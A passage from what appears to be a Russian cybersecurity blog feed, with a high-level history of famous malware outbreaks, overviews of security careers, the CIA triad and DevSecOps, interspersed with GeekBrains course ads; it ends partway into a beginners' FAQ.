В июле 2016 года японское туристическое агентство JTB Corp пострадало от утечки данных, в результате которой было скомпрометировано почти 8 миллионов пользовательских записей. Инцидент произошел в результате запуска вредоносного документа из фишингового письма, присланного одному из сотрудников компании. PlugX установил предназначенный для кражи пользовательской информации троян и получил контроль над файлами за считанные секунды.

Почти все современные антивирусные программы смогут найти и обезвредить это вредоносное ПО.

Stuxnet


Червь Stuxnet появился в сети в 2010 году и первоначально был нацелен на ядерные объекты Ирана. Вирус уничтожил более 1000 центрифуг на иранском предприятии по обогащению урана в Натанзе, филиала крупной компании Foolad Technic. Stuxnet распространяется через USB-накопители и компьютеры с ОС Windows. В основе троянской программы Stuxnet лежит поиск конкретной модели программируемого логического контроллера (ПЛК) производства Siemens. Это небольшие промышленные системы управления, выполняющие всевозможные автоматизированные процессы, например, на химических заводах, в производственных цехах, на нефтеперерабатывающих заводах, а также на атомных электростанциях. Эти ПЛК управляются компьютерами, и это основная цель червя Stuxnet. Сообщалось, что червь уже заразил более 50 000 компьютеров, а немецкая компания Siemens сообщила о 14 зараженных системах управления, которые находились в основном в Германии.

Mydoom


Первая версия червя MyDoom, появилась 26 января 2004 года и распространялась по электронной почте и через одноранговую сеть. Программу написали в России на языке C++. Она создает бэкдор (дефект алгоритма, намеренно встроенный в него разработчиком) в операционной системе компьютера жертвы, а потом запускает механизм типа «отказ в обслуживании» (DDoS), За очень короткий промежуток времени червь быстро наводнил просторы интернета, и в 2004 году примерно 16 – 25% всех электронных писем были заражены MyDoom. Файл-носитель червя весит всего несколько десятков килобайт и содержит в себе следующую строку: «sync-1.01; andy; I’m just doing my job, nothing personal, sorry». При заражении червь модифицирует операционку, блокируя доступ к сайтам антивирусных компаний, новостным лентам и различным разделам портала Microsoft, на который он в феврале того же года совершил DDoS‑атаку.

Sasser и Netsky


Sasser и Netsky были созданы семнадцатилетним немцем по имени Свен Яшан. Эти два червя ведут себя по-разному, однако сходство в коде заставило экспертов по безопасности полагать, что оба они написаны одним человеком. Sasser не остановить: заразив компьютер, он начинает искать другую уязвимую систему, сканируя случайные IP-адреса. Хотя он не причиняет ущерба данным, он ответственен за большое количество DDoS-атак и существенно замедляет работу в сети. В 2004 году Sasser фактически остановил треть почтовых отделений на Тайване, закрыл 130 отделений финского банка и вынудил отменить несколько железнодорожных и трансатлантических рейсов.

Netsky ведет себя иначе. Он распространяется через электронную почту и при попытке открыть какой-нибудь файл выводит на экран сообщение об ошибке: «The file could not be opened!» Червь копирует вредоносные файлы в каталог Windows и прописывается в автозапуске системного реестра. Еще одна интересная его особенность – при инфицировании он удаляет из системы вирусы Mydoom и Bagle.

CodeRed


Червь Code Red был обнаружен двумя сотрудниками eEye Digital Security Марком Майффретом и Райаном Перме. Они назвали найденную вредоносную программу в честь любимой газировки Code Red Mountain Dew. Появившаяся в 2001 году, она была нацелена на компьютеры с установленным веб-сервером Microsoft IIS. Проникая в компьютер, Code Red делает сотни копий всех данных и в конечном итоге потребляет так много ресурсов, что система не справляется и выходит из строя. Затем запускается алгоритм атаки “отказ в обслуживании” и открывается удаленный доступ к инфицированному серверу через бэкдор.

Самой известной кибер-атакой Code Red была атака на веб-сайт Белого дома. В том же 2001 году красный червь заразил более 250 000 компьютерных систем и, по оценкам экспертов, это привело к потере производительности и колоссальному ущербу в размере 2 миллиардов долларов.

Для того чтобы обезопасить госучреждения и простое население от этой вредоносной программы, Microsoft разработала «патч», предназначенный для защиты компьютеров именно от «Code Red». Его можно загрузить с домашней страницы веб-сайта Microsoft (www.microsoft.com).

Nimda


Nimda впервые появилась 18 сентября 2001 года и быстро распространилась по Интернету. Как только вредоносная программа попала в сеть, ей потребовалось всего 22 минуты, чтобы достичь первой строчки в списке зарегистрированных кибератак. Основная цель – создать бэкдор в операционной системе жертвы и предоставить злоумышленнику полный доступ к машине. В 2001 году Nimda вызвала сбои во всех вновь примкнувших к всемирной паутине сетей, а по данным Кооперативной Ассоциации Анализа Интернет-данных, это вредоносная программа заразила около 160 000 операционных систем .

ILOVEYOU


5 мая 2000 г. тысячам пользователей сети были разосланы электронные письма с одной фразой в теме: «ILOVEYOU». К письму был прикреплен файл под названием «LOVE-LETTER-FOR-YOU.txt.vbs». Открытие приложенного к письму файла вызывало немедленное исполнение программы, и злоумышленники получали полный доступ к системе и системному реестру. ILOVEYOU считается одной из самых опасных вредоносных программ, когда-либо созданной человеком. Ей удалось нанести ущерб устройствам по всему миру на сумму около 10 миллиардов долларов, заразив примерно 10% всех компьютеров на планете. Ситуация была такая напряженная, что многие правительства и крупные корпорации отключили свою почтовую систему, чтобы предотвратить заражение.

Чтобы защитить себя от вирусных атак, таких как ILOVEYOU, крайне необходимо установить надежную антивирусную программу.

Melissa


Mellisa распространялась под видом обычного текстового документа, который при открытии передавался 50 основным контактам электронной почты жертвы. В документе содержалась способная заинтересовать пользователя информация: от паролей для доступа к платным сайтам до ссылок на популярные мультсериалы. Программа не была создана с целью кражи денег или информации, но тем не менее нанесла довольно большой ущерб. Более 300 корпораций и государственных учреждений сильно пострадали от этого вируса, в том числе ИТ-гигант Microsoft, который несколько раз останавливал работу из-за перегрузки электронной почты. Зловред сгенерировал огромный интернет-трафик и замедлил работу и без того перегруженных серверов. Хотя его локализовали в течение нескольких дней, ущерб уже был нанесен. По самым скромным подсчетам, около 80 миллионов долларов было потрачено на очистку и устранение урона, нанесенного программой.

Заключение

Как можно заметить, все рассмотренные вирусы появились в начале 21 века: в то время, когда большинство современных технологий кибербезопасности находилось в зачаточном состоянии. Сейчас ситуация в корне поменялась. Современные операционные системы и усовершенствованные антивирусные приложения защищают от большинства вредоносных программ. Однако расслабляться не стоит, ведь даже зловреды из этого списка до сих пор гуляют по сети. С другой стороны, разгул киберпреступности приводит к постоянному росту потребности в обеспечивающих защиту специалистах.

***

Если вы только начинаете путь в профессии, обратите внимание на «Факультет информационной безопасности» образовательной онлайн-платформы GeekBrains. Под руководством опытных экспертов из ведущих технологических компаний вы получите там много практики по разным направлениям: тестам на проникновение, Python, реверс-инженирингу, безопасности сетей и криптографии. Успешно завершившим курс студентам выдается диплом о профессиональной подготовке, а специалисты платформы помогают им с поиском работы.

12
Окт
2021

🕵 ТОП-10 профессий в сфере кибербезопасности – шпаргалка для новичка

Информационная безопасность – одно из самых перспективных направлений в сфере ИТ. Если вы хотите изучить это направление, для начала стоит разобраться с основными доступными профессионалу специализациями.

Информационная безопасность – это набор технологий, процедур и практик, направленных на предотвращение атак, повреждений и незаконного доступа к сетям, устройствам, программам и данным. Информационная безопасность и кибербезопасность – термины, которые могут использоваться как синонимы.

В 2019 году действия киберпреступников обошлись миру примерно в 2 триллиона долларов. В 2017 году Cybersecurity Ventures прогнозировала, что ущерб от преступлений в сфере высоких технологий достигнет 6 триллионов долларов к 2021 году, что приведет к росту глобальных расходов на обеспечение информационной безопасности до 10 миллиардов долларов к 2027 году.


Профессионалы в области кибербезопасности защищают компании от утечек данных и прочих угроз. Потребность в экспертах растет с головокружительной скоростью, но вам придется выбрать специализацию. Мы выделили 10 основных, доступных безопаснику-новичку:

1. Разработчик программного обеспечения в сфере кибербезопасности.

Специалисты такого рода могут заниматься созданием специализированного программного обеспечения или связанных с безопасностью решений внутри другого софта. Они могут разрабатывать стратегию безопасности программного обеспечения в масштабах компании, участвовать в каждом этапе жизненного цикла создания и эксплуатации программных систем, поддерживать развертывание программного обеспечения для клиентов, тестировать ПО на наличие уязвимостей и т.д. Если сильно постараться, можно даже стать тимлидом.

2. Архитектор информационной безопасности

Если вам нравится разбираться с глобальными проблемами и разрабатывать комплексные решения, этот путь вам подойдет. Работа архитектора безопасности заключается в проектировании, создании и внедрении систем обеспечения информационной безопасности для бизнеса. Архитектор отвечает за сложные системы антивирусной защиты, защиты от взлома, защиты от распределенных атак типа «отказ в обслуживании» (DDoS) и т.д.

3. Консультант по безопасности

Консультанты по безопасности – это специалисты-универсалы, которые оценивают угрозы и риски, а также предоставляют возможные решения проблем. Они встречаются с клиентами, чтобы порекомендовать тем наиболее эффективные способы защиты данных. Эта профессия не требует таких глубоких знаний как прочие, но по ширине охвата отрасли никакая другая специализация с ней не сравнится.

4. Аналитик информационной безопасности

Аналитики информационной безопасности – первая линия защиты ИТ-инфраструктуры. Они непрерывно отслеживают работу систем на предмет выявления странной активности, а также анализируют события, чтобы определить возникновение инцидентов информационной безопасности.

5. Этичный хакер

Этичные (белые) хакеры часто имеют аккредитацию CEH и получают от работодателей разрешение на попытку проникновения в информационные системы. Для оценки мер безопасности они использует те же методы, что и враждебные хакеры в черной шляпе, но без опасных последствий в виде утечек/повреждения данных или серьезных нарушений работы информационных систем. В случае успеха по рекомендациям белых хакеров будут созданы и внедрены улучшения.

6. Компьютерный криминалист

Киберпреступления – постоянно обостряющаяся проблема, а потому их приходится расследовать. Компьютерные криминалисты определяют, как произошел инцидент, кто в нем виноват, какие данные и системы были скомпрометированы и т. д. При необходимости они сотрудничают с правоохранительными органами и решают широкий круг задач, включая восстановление потерянных файлов, интерпретацию данных и анализ записей в системных журналах.

7. Директор по информационной безопасности

Роль директора по информационной безопасности (CISO) заключается в надзоре за корпоративным ИБ-департаментом. CISO несут ответственность за планирование, организацию и управление всеми требованиями компании к компьютерам, сетям и безопасности данных. Они работают в тесном сотрудничестве с руководителями разных уровней, чтобы определить уникальные требования организации к кибербезопасности. Часто CISO решают и кадровые вопросы, для чего им требуется солидный опыт в области архитектуры и стратегии ИТ-безопасности, а также отличные коммуникационные навыки и прочие софт-скилы.

8. Пентестер

Тестирование на проникновение – это одобренное использование хакерских методов для упреждающего обнаружения уязвимостей информационной безопасности. Прежде чем злоумышленник сможет причинить реальный вред, пентестер найдет проблемы с сервисами и приложениями, неправильные настройки и многое другое. Чтобы «взломать» наблюдаемые системы, нужна высокая квалификация. Эта работа похожа на этичный хакинг, но взломщик в белой шляпе обычно работает в одиночку и имеет больше степеней свободы, а пентест часто проводится целой командой по четко утвержденному плану, составленному с учетом отраслевых стандартов. Тестировщики на проникновение должны вести подробные журналы своих действий и обнаруженных уязвимостей.

9. Администратор систем безопасности

Установка, администрирование, обслуживание и отладка компьютеров, сетевого оборудование и связанных с кибербезопасностью решений являются обязанностями администратора систем безопасности. Эти специалисты занимаются системным мониторингом и резервным копированием данных, созданием, удалением и обслуживание учетных записей пользователей, настройкой политик доступа и т. д. Администраторы систем безопасности часто участвуют в разработке организационных процессов, а их работа напоминает работу сисадминов (к слову, в малом бизнесе эти роли зачастую неразличимы).

10. Охотник за ошибками (баг-хантер)

Охотники за багами – это люди, которые хорошо разбираются в тонкостях кибербезопасности и умеют выявлять ошибки и уязвимости в программном и аппаратном обеспечении. Существует ряд доступных систем поощрения, которые дают им возможность получать компенсацию за обнаружение уязвимостей. Схемы вознаграждения за ошибки позволяют выявлять и устранять проблемы до того, как о них узнает широкая публика, что снижает вероятность массового злоупотребления.

***
Как видите, в сфере кибербезопасности есть множество разных профессий (мы упомянули только наиболее известные), но вы должны с чего-то начать. Чтобы получить необходимые знания и стать востребованным специалистом, стоит обратить внимание на «Факультет Информационной безопасности» образовательной онлайн-платформы GeekBrains.

За год обучения вы освоите современные технологии, а опытные преподаватели ответят на все возникшие по темам вебинаров вопросы, а также дадут обратную связь. После прохождения курса вы получите электронный сертификат и сможете работать по специальностям: Application Security Engineer, пентестер, специалист по информационной безопасности, специалист по анализу защищенности. Любую из этих профессий можно рассматривать как первую ступеньку карьерной лестницы.

11
Окт
2021

🕵 Что такое триада КЦД: шпаргалка для начинающих специалистов в сфере кибербезопасности

Триада доступности, целостности и конфиденциальности (КЦД) – очень важная парадигма в сфере информационной безопасности. Рассказываем о ее практическом применении в небольшом обзоре.

Триада КЦД (конфиденциальность, целостность, доступность) – это парадигма, предназначенная для регулирования правил информационной безопасности внутри компании. Хотя компоненты триады являются наиболее фундаментальными и критическими требованиями кибербезопасности, эксперты считают, что они нуждаются в обновлении.

В этом контексте конфиденциальность относится к системе правил, которая ограничивает доступ к информации, целостность означает уверенность в том, что эта информация корректна и заслуживает доверия, а доступность – уверенность в том, что уполномоченные лица будут иметь надежный доступ к информации.

История появления парадигмы КЦД

Идея трио КЦД возникла не у одного человека и развивалась с течением времени. Не исключено, что близкая к современной концепция конфиденциальности была первоначально предложена еще в 1976 году в проведенном специалистами ВВС США исследовании. Подобно этому, идея целостности была подробно рассмотрена Дэвидом Кларком и Дэвидом Уилсоном в статье 1987 года «Сравнение коммерческой и военной политики компьютерной безопасности». Авторы отметили, что бизнес-компьютеры нуждаются в бухгалтерских записях, а также в точности и согласованности данных. Хотя найти первоначальный источник сложно, идея доступности стала популярной в 1988 году.

В сфере информационных технологий данные обычно классифицируются на основе количества и вида вреда, который они могут нанести, если попадут в чужие руки. После этого могут применяться более или менее суровые меры в соответствии с категориями.

Целостность данных – это процесс обеспечения их согласованности, точности и заслуживающими доверия в течение всего срока их службы. Посторонние лица не должны иметь возможность изменять данные во время их передачи, и должны быть приняты меры предосторожности, чтобы предотвратить это (например, при нарушении конфиденциальности).

Представление о трех идеях триады КЦД, как о части более крупной системы, а не как об отдельных концепциях, может помочь компаниям лучше понять связи между тремя компонентами.

Примеры трио КЦД
Ниже приведены некоторые примеры различных методов и технологий управления, которые составляют трио конфиденциальности, целостности и доступности. Хотя многие из тактик кибербезопасности включают в себя эти технологии и методы – это далеко не полный список.

Конфиденциальность

Когда дело доходит до защиты конфиденциальных данных, необходимо обеспечить специальное обучение лиц, которые имеют доступ к информации. Профессиональная подготовка может помочь в ознакомлении персонала с рисками и с тем, как от них защититься. Обучение может содержать, например, сведения о надежных паролях и лучших практиках кибербезопасности, а также сведения о методах социальной инженерии.


Популярным способом поддержания секретности является использование шифрования данных. Идентификаторы пользователей и пароли являются обычной практикой, а двухфакторная аутентификация (2FA) все чаще применяется в качестве меры дополнительной безопасности. Биометрическая проверка и токены безопасности также доступны в качестве альтернатив. Кроме того, пользователи могут принимать меры по сокращению числа мест, где появляется информация. Также могут быть реализованы дополнительные меры предосторожности, такие как хранение данных исключительно на компьютерах с «воздушными» зазорами между ними, на не подключенных к сети устройствах или только в форме физических (бумажных) документов.

Целостность

Использование системы управления версиями для предотвращения ошибочных изменений или непреднамеренного удаления авторизованными пользователями поможет сохранить ваши данные в безопасности. Кроме того, предприятия должны предпринимать меры для выявления любых изменений в данных, которые могут произойти в результате не вызванных людьми событий, вроде электромагнитного импульса или поломки оборудования.


Контрольные суммы и даже криптографические контрольные суммы могут быть включены в данные, чтобы исключить подделку. Для восстановления поврежденных данных до их первоначального состояния необходимо создавать резервные копии и использовать отказоустойчивые (за счет избыточности) устройства хранения. Цифровые подписи могут также гарантировать невозможность компрометации электронных документов.

Доступность

Правильно функционирующая и свободная от программных конфликтов ИТ-инфраструктура – лучший способ обеспечить доступность информации. Решающее значение здесь имеют своевременное обслуживание оборудования, настройка и обновление ПО и обеспечение достаточной пропускной способности каналов передачи данных. При возникновении аппаратных сбоев помогут уже упомянутые резервные копии и отказоустойчивые устройства хранения.

Для наихудших ситуаций потребуется быстрое и адаптируемое аварийное восстановление, а вероятность непредсказуемых явлений (стихийных бедствий и пожаров) должна быть учтена при разработке мер защиты.

Дополнительное оборудование или программное обеспечение безопасности, такое как брандмауэры и прокси-серверы, могут защитить от простоев и недоступности данных, вызванных злонамеренными атаками типа «отказ в обслуживании» (DoS) и вторжениями в сеть.

Трудности реализации парадигмы

Из-за огромного количества нуждающейся в защите информации, а также из-за разнообразия источников и форм информации, парадигма КЦД плохо совмещается с большими данными (Big Data). Дублирование информации и стратегии аварийного восстановления могут увеличить и без того высокие расходы на хранение и извлечение данных. Когда основной задачей является сбор и интерпретация информации для извлечения из нее знаний, ответственное управление данными часто отсутствует. Достаточно вспомнить ситуацию с Эдвардом Сноуденом, чтобы это стало очевидным.


Благодаря развитию технологий Интернета вещей (IoT), автономной связь доступна практически любому физическому или логическому объекту. В зависимости от конечной точки, отправляемые данные могут вызывать или не вызывать опасений по поводу конфиденциальности. Однако, когда даже фрагментированные данные из многих конечных точек собираются, агрегируются и анализируются, в них можно выявить конфиденциальную информацию.

Кроме того, безопасности сетей «вещей и услуг» трудно достичь, поскольку они состоят из огромного количества устройств, на которых часто не обновляется встраиваемое ПО или используются настройки по умолчанию (включая пароли администраторов). Таким образом Интернет вещей может использоваться как автономный вектор атаки или как компонент thingbot.

Когда больше и больше товаров создаются с возможностью сетевого включения, необходимо включение мер безопасности в процесс разработки продуктов.

Практики реализации КЦД

Принимая триаду КЦД, компания должна придерживаться широкого набора лучших отраслевых практик. Ниже приведены некоторые рекомендации, разбитые по каждому из трех предметов.

Конфиденциальность:

  • Данные должны управляться в соответствии с необходимым бизнесу уровнем конфиденциальности.
  • Для защиты данных следует использовать двухфакторную аутентификацию (2FA) и другие дополнительные меры.
  • Поддерживайте текущее состояние списков управления доступом и других разрешений для файлов.
  • Проводите регулярное обучение персонала. Человеческий фактор – одна из основных причин утечек конфиденциальных данных.

Целостность:

  • Убедитесь, что все работники осведомлены о соответствии и нормативных стандартах, чтобы снизить вероятность человеческой ошибки.
  • Следует использовать программное обеспечение для резервного копирования и восстановления.
  • Контроль версий, журналы данных и контрольные суммы – все это инструменты, которые могут использоваться для обеспечения целостности данных.

Доступность:

  • Должны быть реализованы превентивные меры, такие как избыточность, отработка отказа и ИНД (избыточный массив независимых дисков).
  • Используйте решения для мониторинга сети, серверов, а также работоспособности информационных систем.
  • Убедитесь, что у вас есть стратегия восстановления данных и обеспечения непрерывности бизнеса.
***

Если вы собираетесь профессионально заняться проблемами конфиденциальности, целостности и доступности информации, обратите внимание на «Факультет информационной безопасности» образовательной онлайн-платформы GeekBrains. Под руководством опытных экспертов из ведущих технологических компаний вы получите там много практики по разным направлениям: тестам на проникновение, Python, реверс-инженирингу, безопасности сетей и криптографии. Успешно завершившим курс студентам выдается диплом о профессиональной подготовке, а специалисты платформы помогают им с поиском работы.

09
Сен
2021

🕵 Что такое Топ-10 OWASP и какие уязвимости веб-приложений наиболее опасны?

Использование рекомендаций Open Web Application Security Project (OWASP) давно стало стандартом обеспечения безопасности веб-приложений. Давайте разберемся, какие 10 уязвимостей организация считает наиболее опасными на данный момент.

02
Сен
2021

🕵 Что такое динамическое тестирование безопасности приложений (DAST)?

Анализа кода уже недостаточно для поиска уязвимостей при нынешнем разнообразии киберугроз – необходимо проверить приложение в близких к боевым условиях. Чтобы это сделать, можно воспользоваться методом черного ящика.

25
Авг
2021

∞ Современный подход к кибербезопасности: как внедрить в компании методики DevSecOps?

Мы расспросили ведущего инженера DevSecOps о том, почему этот подход настолько важен, каким организациям стоит его внедрять, какие шаги нужно предпринять и какие факторы стоит при этом учитывать.

DevSecOps – это философия интеграции практик безопасности в процесс DevOps.

Цель DevSecOps состоит в том, чтобы сделать безопасность частью рабочего процесса разработки программного обеспечения с помощью передовых методов безопасного кодирования и автоматизации тестирования, а не закреплять ее на более поздних этапах цикла, как это было в случае с каскадными моделями разработки.

Этот стратегический сдвиг в интеграции средств управления безопасностью в жизненный цикл разработки программного обеспечения (SDLC) оказал большое влияние на отрасль.

DevSecOps решает наиболее распространенную проблему, с которой сталкивались многие компании на пути к DevOps, когда более быстрые выпуски кода приводили к большему количеству уязвимостей. Благодаря DevSecOps, критические проблемы безопасности решаются по мере их поступления, а не после возникновения угрозы или компрометации.

О внедрении методик DevSecOps нашему корреспонденту рассказал Иван Пискунов, Senior DevSecOps engineer «NewIty», Ltd. – международной компании-разработчика ПО.

Понятие DevSecOps

Если понимать DevSecOps дословно, то это безопасный DevOps. Другими словами, это именно практики разработки, внедрения и эксплуатации продукта (приложения, сайта, банк-клиент платформы, облачного сервиса и т.д.) с учетом требований к информационной безопасности.

Речь идет о превентивном выявлении недостатков кода, которые потом могли бы вылиться в уязвимости ПО (то что еще называется термином Secure SDLC или SSDLC).

Также это проработка и внедрение механизмов защиты от мошеннических операций и разного рода фрода (например, это очень актуально для банк-клиент приложений, электронных бирж и обменников криптовалюты) в разрабатываемый продукт, обеспечение безопасности облачной среды (AWS, GCP, Yandex.Cloud и т.д.), где он эксплуатируется. То есть распределение прав доступа к ресурсам, определение пользовательских ролей в системе, мониторинг Kubernetes-кластера как ядра системы, выявление инцидентов и реагирование на них.

Каким компаниям действительно нужен DevSecOps?

DevSeсOps – это то, что должно быть в любой компании, которая занимается разработкой ПО и которая заботится о своих клиентах, сохранности их данных, ну и конечно же о собственной репутации. Размер компании тут не так важен, различия будут скорее в том, что более крупная компания имеет большую капитализацию и, соответственно, бюджетирование на решение вопросов безопасности, по сравнению со стартапом, где все только набирает обороты.

Правдивость известной фразы «Безопасность стоит дорого, но ее отсутствие еще дороже» не раз была доказана на примере крупных взломов. Например, можно вспомнить скомпрометированную цепочку поставок SolarWinds или нашумевшую атаку на Capital One в 2019 году, когда было потеряно 30 ГБ данных, содержащих записи о 106 млн. пользователей, ну и ярко отметившуюся в 2018 году cryptojacking-атаку на компанию Tesla, Илона Маска.

Все, кто хотят строить свой бизнес на перспективу и делать качественный продукт мирового уровня, должны обращать значимое внимание на DevSecOps.

Основные преимущества DevSecOps

Преимущества (то, что в англоязычных компаниях называют Value), которые получает команда, а в ее лице и компания, от внедрения практик DevSecOps в свой обиход могут несколько отличаться. Однако можно выделить общие для всех них черты.

Это прежде всего снижение расходов на стадии поддержки продукта. Если еще до релиза на этапе разработки исключить критические уязвимости (CVE, CWE) и баги, то не понадобится выпускать патчи (исправления) или вовсе отзывать продукт с рынка.

Еще одно преимущество – это соответствие комплаенс-требованиям: как российским (например, ЦБ РФ для финансовых учреждений), так и международным (Cloud Security Alliance (CSA), Cloud Native Computing Foundation (CNCF), PCI DSS, GDPR и т.д.). Это дает возможность проходить аудиты соответствия требованиям контролирующих органов, получать соответствующие лицензии и сертификаты на вид деятельности (особенно критично для бирж, обменников, систем банк-клиент), подтверждать свою ответственность перед клиентами и партнерами.

И непосредственно – это внутренняя инфраструктурная безопасность облачной среды, которую периодически пытаются взломать хакерские группы, боты и потенциально нечестные конкуренты по нише, разделяемой на рынке. Средствами только стандартного DevOps эти вопросы никогда не решить.

Этапы внедрения DevSecOps в компании

Классический подход к внедрению DevSecOps описан в нескольких книгах:

Это достаточно длительный и не самый простой этап в жизни компании. В зависимости от уровня зрелости, наличия соответствующих профессиональных компетенций в штате сотрудников и бюджета на ИБ, количество этапов внедрения может меняться.

К тому же нужно понимать, что внедрение SDLC (безопасного цикла разработки ПО) – это часть общих работ по запуску DevSecOps в компании, и они отличаются между собой по сложности и длительности. В самом простом варианте это всегда определение целей и задач, выставление требований к продукту и процессу его разработки (то что называется secure by design), планирование работ, внедрение технических и программных средств защиты, мониторинг и поддержка.

Проблемы, которые могут возникнуть при внедрении DevSecOps

Проблем всегда хватает. Большинство из них совпадает с типичными проблемами DevOps. Например, речь идет о внедрении процедур проверки качества кода и выявления уязвимостей на стадии комита, далее целевого репозитория и хранилища артефактов в общий CD/CI конвейер (так называемые паплайны).

Конкретно ИБ-шной спецификой можно назвать борьбу с ложными срабатываниями статического анализатора кода (SAST), централизованное управление секретами с минимальными издержками на производительность и удобство работы в системе, разработка кастомных правил безопасности под каждый независимый контур – Dev, Stage, Prod.

И отдельно я бы отметил создание особой культуры правильной разработки среди участников команды. Важно, чтобы каждый из разработчиков при реализации фичи учитывал риски, которые могут повлиять на сохранность клиентских данных или безопасность всей системы.

Как правильно внедрить DevSecOps в команде?

Решающий фактор в этом деле на мой взгляд – это компетенции и мотивация тех сотрудников, которые отвечают за безопасность в компании. Осознание современных угроз и скрытых рисков, понимание того, как баг может повлиять на конечный продукт, знание средств и систем защиты – все это поможет выстроить некий roadmap того, как необходимо внедрять DevSecOps-практики в каждодневную работу команды разработчиков и DevOps-инженеров.

Следующий фактор – это наличие бюджета на закупку и поддержку различных средств безопасности. Нужно понимать приоритетность внедрения решений, а также обладать специфической экспертизой в некоторых тонкостях реализации защиты периметра или отдельных end-point хостов. Если бюджета нет, то на первых порах можно обойтись средствами open sources, которые, конечно, не дадут того уровня, что дают коммерческие решения, но все таки не оставят в чем мать родила.

И обязательно отмечу использование best practices от вендоров ПО, методические рекомендации и гайды специализированных проектов, таких как международного комьюнити OWASP, европейского CIS, американского стандарта NIST-800, SANS TOP 25 Most Dangerous Software Errors, матрицы MITRE ATT&CK, которые рассказывают, как лучше всего реализовать ту или иную функцию безопасности в корпоративном периметре.

Лучшие практики DevSecOps


Описание каждой практики достойно отдельной статьи. Однако можно упомянуть ключевые bullet points при внедрении DevSecOps, а именно:

  • Организация безопасного цикла разработки ПО, включающего моделирование угроз, оценку рисков, статический и динамический анализ кода, использование защищенных технологий: HTTPS/TLS, CORS, CSP, 2FA, Data encryption и т.д.;
  • Усиление текущей облачной инфраструктуры с помощью как нативных опций безопасности, предоставляемых от поставщика услуги, так и коммерческих средств и систем защиты – Web Application Firewall (WAF), SIEM и SoC мониторинг, IDS\IPS-систем, хостовых EDR, защита Kubernetes-кластера, Anti-DDoS и Load balancing и т.д.;
  • К вышеперечисленному можно добавить важность создания в компании внутренней базы знаний о проблемах безопасности, современных рисках и угрозах, типовых решениях и рекомендациях для разработчиков, тестировщиков и инженеров;
  • Сюда же можно отнести и обучение команды разработчиков правилам написания безопасного кода. Это большой вклад в общую культуру разработки, которая несомненно сделает конечный продукт лучше. Некоторые другие рекомендации можно почерпнуть из моей авторской книги «Kubernetes security. Guide for beginners from zero to hero».

Выводы

Методология DevOps затрагивает не только группы разработки и эксплуатации. Если вы хотите в полной мере использовать гибкость и оперативность подхода DevOps, ИТ-безопасность также должна играть важную роль в полном жизненном цикле приложений, которые вы разрабатываете.

Согласно отчету исследовательской компании Gartner, 80% предприятий, которым не удастся к 2023 году внедрить современный подход к безопасности, столкнутся как с повышенными эксплуатационными расходами, так и с большими последствиями кибератак.

В быстро меняющемся цифровом мире компаниям крайне важно адаптироваться к возрастающему количеству кибератак, которые каждый день ставят под угрозу безопасность приложений.

***

Если вы заинтересованы в развитии карьеры в этой сфере, стоит обратить внимание на «Факультет информационной безопасности» образовательной онлайн-платформы GeekBrains. На 70% учебная программа состоит из вебинаров с преподавателями, которым вы сможете задать все интересующие вопросы по темам и оперативно получить от них обратную связь.

Кроме того, куратор и менеджеры GeekBrains помогут освоиться и решить технические сложности на разных этапах обучения, а постоянная практика (в том числе командные соревнования по информационной безопасности в формате Capture the flag) не дадут застрять на месте.

Продолжительность обучения – один год. За это время вы освоите современные технологии и компетенции, которые необходимы специалистам по безопасности: Application Security Engineer, пентестеру, специалисту по информационной безопасности или DevSecOps-инженеру.

24
Авг
2021

🕵 20 лучших ресурсов для обучения этичному хакингу в 2021 году

Веб-сайты для изучения взлома – идеальное место для начинающих, поскольку у вас не будет временных ограничений и вы сможете заниматься самообразованием в любое время и на любом устройстве.

09
Июл
2021

🕵 Кибербезопасность в 2021 году: ответы на главные вопросы новичков

Что такое кибербезопасность? Какие специалисты ею занимаются? Как выглядит эта отрасль в 2021 году? Разложим все вопросы по полочкам и разберемся с каждым из них.

Что такое кибербезопасность?
Понятие кибербезопасности включает защиту сетей, компьютеров, софта и самих данных. Защита от кибератак заключается как в налаженной работе антивирусных программ и исключении уязвимостей в системах, так и во взаимодействии людей, т.е. обучении персонала компьютерной грамотности.

Цель защиты информации: предотвратить или снизить риски кибератак, исключить утечки или повреждение данных, а также минимизировать сбои в работе систем.

Кибератаки проводят для незаконного доступа к устройству, сети, инфраструктуре. Они ведут к потере конфиденциальной информации, хищению денежных средств, нарушению бизнес-процессов и, в итоге, к репутационному и прямому финансовому ущербу.

Специалист по кибербезопасности помогает защитить конфиденциальные данные от утечек и нарушения целостности. Защита цифровых активов необходима с каждым годом все больше и больше, так что эксперты в данной области всегда будут востребованы на рынке труда.

В комплексе организационных и технических мер по защите от киберугроз можно выделить три элемента:

  • Персонал компании. Информационная безопасность (ИБ) часто страдает из-за человеческого фактора, потому обучение персонала – основа профилактики инцидентов. Сотрудникам важно объяснить необходимость установки сложных паролей к учетным записям и их периодической смены, предоставить инструкцию по обращению с конфиденциальной информацией, пояснить необходимость резервного копирования данных.
  • Инструменты обеспечения безопасности нуждающихся в защите устройств.
  • Выстроенный процесс защиты информационной среды. Важно понимать, что информационная безопасность – не законченный объект. Систему защиты следует непрерывно модернизировать, ограждая ИТ-инфраструктуру от актуальных угроз.

Самые распространенные виды атак

  • Вредоносное программное обеспечение (Malware) выполняет несанкционированный доступ к компьютеру. К нему относятся вирусы, трояны, черви, шпионские и рекламные программы, программы-вымогатели (шифровальщики).
  • Программы-вымогатели требуют выкуп за восстановление доступа к файлам или компьютерной системе. При этом перечисление денег не гарантирует, что доступ к данным будет восстановлен.
  • Социальная инженерия, предполагает получение конфиденциальной информации обманным путем. Злоумышленники могут попросить перечистить деньги или открыть доступ к конфиденциальным данным. Социальная инженерия сочетается с другими типами атак, которые направлены на переход по ссылкам мошенническим ссылкам или загрузку вирусного ПО.
  • Фишинг – подложные электронные письма или сообщения в мессенджерах. Этот вид мошенничества направлен на кражу конфиденциальных данных, учетной информации или данных кредитных карт. Фишинг – распространенный тип кибератак, который проводится с помощью массовых рассылок, цель которого – переход пользователя по вредоносной ссылке. Для защиты следует обучать персонал, а также настраивать инструменты, для блокирования вредоносных писем и сообщений.

Популярные профессии в сфере кибербезопасности


Специалистов по кибербезопасности можно условно разделить на три категории:

  • White hat – работает легально, обеспечивает защиту данных компании, выявляет уязвимости и помогает избавиться от них.
  • Grey hat – к ним относятся хакеры, которые осуществляют нелегальный взлом без злого умысла и цели получить прибыль или нанести вред.
  • Black hat – такие хакеры всегда наносят вред. Они незаконно взламывают системы, сети и устройства из хулиганских побуждений или с целью извлечения выгоды, в т.ч. по заказу.

В статье мы рассматриваем только работающих в «белой» зоне экспертов по информационной безопасности. У них есть довольно много разнообразных специализаций – разберем основные.

Антифрод-аналитик

